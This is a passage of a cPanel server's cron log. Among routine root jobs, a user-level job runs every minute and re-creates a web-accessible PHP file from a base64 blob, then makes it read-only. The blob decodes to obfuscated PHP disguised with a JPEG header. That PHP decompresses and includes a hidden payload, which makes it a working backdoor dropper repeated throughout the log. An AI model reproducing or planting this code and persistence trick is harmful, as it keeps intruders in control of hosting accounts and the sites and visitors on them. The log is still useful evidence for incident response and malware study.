jm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:46:01 server CROND[21334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:46:01 server CROND[21335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:46:01 server CROND[21336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:47:01 server CROND[21759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:47:01 server CROND[21760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:47:01 server CROND[21761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:48:01 server CROND[22143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:48:01 server CROND[22144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:48:01 server CROND[22145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:49:01 server CROND[22524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:49:01 server CROND[22525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:49:01 server CROND[22526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:50:02 server CROND[23181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:50:02 server CROND[23185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:50:02 server CROND[23187]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:50:02 server CROND[23183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 00:50:02 server CROND[23182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:50:02 server CROND[23189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:50:02 server CROND[23186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:50:02 server CROND[23188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:50:02 server CROND[23184]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 00:51:01 server CROND[24015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:51:01 server CROND[24016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:51:01 server CROND[24017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:52:01 server CROND[24381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:52:01 server CROND[24382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:52:01 server CROND[24383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:53:01 server CROND[24750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:53:01 server CROND[24751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:53:01 server CROND[24753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:54:01 server CROND[25119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:54:01 server CROND[25120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:54:01 server CROND[25121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:55:01 server CROND[25494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 00:55:01 server CROND[25495]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 00:55:01 server CROND[25496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:55:01 server CROND[25500]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 00:55:01 server CROND[25498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:55:01 server CROND[25497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 00:55:01 server CROND[25502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:56:01 server CROND[26419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:56:01 server CROND[26420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:56:01 server CROND[26421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:57:01 server CROND[26775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 00:57:01 server CROND[26776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 00:57:01 server CROND[26777]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 00:57:01 server CROND[26779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 00:58:01 server CROND[27091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
